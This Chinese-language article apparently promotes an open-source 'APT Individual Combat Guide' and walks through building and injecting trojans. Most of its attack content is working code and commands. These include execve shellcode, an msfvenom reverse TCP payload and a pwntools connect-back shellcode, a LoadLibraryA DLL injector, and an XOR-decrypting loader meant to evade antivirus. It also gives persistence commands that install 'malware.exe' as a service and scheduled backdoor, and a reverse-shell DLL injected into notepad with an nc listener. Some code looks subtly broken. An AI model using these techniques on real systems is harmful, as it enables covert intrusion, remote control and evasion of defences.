木马生成与注入《APT Individual Combat Guide》Shellcode与DLL注入技术全解析【免费下载链接】APT-Individual-Combat-Guide《APT Individual Combat Guide》项目地址: https://gitcode.com/gh_mirrors/ap/APT-Individual-Combat-Guide《APT Individual Combat Guide》是一份专注于高级持续性威胁APT对抗技术的开源指南其中详细介绍了现代木马生成与注入技术包括Shellcode开发、DLL注入及进程隐藏等核心攻击手段。本文将结合指南中的实战案例从基础原理到进阶技巧全面解析Shellcode与DLL注入技术的实现方法。一、Shellcode基础从机器码到内存执行 Shellcode是一段能够独立执行特定功能的机器码通常用于漏洞利用或恶意代码注入。《APT Individual Combat Guide》在Zh/第五章/Readme.md中系统梳理了Linux与Windows平台的Shellcode开发流程。1.1 本地Shellcode开发以Linux平台为例通过汇编语言编写执行/bin/sh的Shellcodesection .text global _start _start: xor rax, rax ; 清零RAX寄存器 push rax ; 压入null字节 mov rbx, 0x68732f6e69622f2f ; //bin/sh push rbx ; 压入字符串地址 mov rdi, rsp ; RDI指向字符串 xor rsi, rsi ; RSI0 xor rdx, rdx ; RDX0 mov al, 59 ; syscall号execve syscall ; 执行系统调用编译后通过objdump提取机器码即可嵌入到C程序中执行char code[] \x48\x31\xc0\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05; int main() { int (*func)() (int (*)())code; func(); }1.2 跨平台Shellcode生成工具指南推荐使用Metasploit与Pwntools快速生成功能性ShellcodeMetasploit生成反向TCP Shellcodemsfvenom -p windows/x64/shell_reverse_tcp LHOST192.168.0.4 LPORT4444 -f cPwntools通过Python脚本生成自定义Shellcodefrom pwn import * context(archamd64, oslinux) shellcode shellcraft.amd64.linux.connect(192.168.0.189, 4444) shellcode shellcraft.amd64.linux.dupsh() print(asm(shellcode).hex())图《APT Individual Combat Guide》中展示的Windows恶意软件常用API关系图包含进程注入、内存操作等核心函数调用链二、DLL注入技术进程隐蔽执行的终极方案 ️DLL注入通过将恶意DLL加载到目标进程地址空间实现持久化控制《APT Individual Combat Guide》在Zh/第五章/DLL_Injection/目录下提供了多种注入方法的实现代码。2.1 简单DLL注入利用LoadLibraryA函数实现基础注入// [easy_dll.cpp](https://link.gitcode.com/i/16ceadde7b046cf8c33565c6a0ec4955) #include windows.h int main() { HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2264); // 目标PID LPVOID pRemoteMem VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteMem, C:\\evil.dll, 10, NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMem, 0, NULL); }编译命令x86_64-w64-mingw32-gcc -O2 easy_dll.cpp -o easy_dll.exe -mconsole -static-libstdc2.2 反射型DLL注入反射型注入无需调用LoadLibrary直接在内存中解析DLL编译反射加载器 ReflectiveLoader.cppx86_64-w64-mingw32-gcc -shared -o ReflectiveLoader.dll ReflectiveLoader.cpp使用注入器加载恶意DLLx86_64-w64-mingw32-g ReflectiveInjector.cpp -o ReflectiveInjector.exe2.3 高级注入技巧线程劫持修改目标线程上下文执行Shellcode thread_hijacking.cpp进程空洞替换合法进程内存实现无文件攻击 process-hollowing.cppAPC注入利用异步过程调用队列执行代码 rev.cpp三、免杀与持久化对抗现代防御体系 ️3.1 Shellcode免杀技术加密Shellcode使用AES加密Shellcode运行时动态解密// [shell.cpp](https://link.gitcode.com/i/2e2240671aceb8978ec0bdf79e5e72fd) const char shellcode[] 加密后的Shellcode; PVOID exec VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlCopyMemory(exec, shellcode, sizeof shellcode); // 解密循环 for (int i0; isizeof shellcode; i) ((char*)exec)[i] ^ 0xAA; // XOR解密 CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)exec, NULL, 0, NULL);多态Shellcode通过指令替换生成变形代码绕过特征检测; [多态Shellcode](https://link.gitcode.com/i/2e2240671aceb8978ec0bdf79e5e72fd) decode: xor byte [rsi rcx - 1], bl ; 动态解密 loop decode3.2 持久化机制指南在Zh/第五章/Per/目录提供了多种持久化方案注册表Run键HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run服务创建sc create GhostWolfLab binpath C:\malware.exe start auto计划任务schtasks /create /tn Backdoor /tr C:\malware.exe /sc onlogon四、实战案例从生成到注入的完整流程 4.1 生成恶意DLL编写反弹Shell的DLL源码 wolf.cpp编译为DLL文件x86_64-w64-mingw32-g -shared -o wolf.dll wolf.cpp -fpermissive4.2 注入目标进程使用注入工具加载DLL到记事本进程.\easy_dll.exe 1234 # 1234为notepad.exe的PID攻击者监听端口接收会话nc -lvp 4444五、防御建议构建多层次安全体系 ️内存保护启用DEP/NX、ASLR等内存安全机制进程监控使用Process Monitor检测异常DLL加载行为分析监控注册表修改、计划任务创建等可疑操作代码审计重点关注VirtualAllocEx、CreateRemoteThread等敏感API调用《APT Individual Combat Guide》通过Zh/第五章/的丰富实例展示了现代木马技术的完整攻击链。学习这些技术不仅能帮助安全人员提升防御能力更能深入理解APT攻击的本质与应对策略。建议通过官方仓库获取完整代码进行安全研究git clone https://gitcode.com/gh_mirrors/ap/APT-Individual-Combat-Guide【免费下载链接】APT-Individual-Combat-Guide《APT Individual Combat Guide》项目地址: https://gitcode.com/gh_mirrors/ap/APT-Individual-Combat-Guide创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考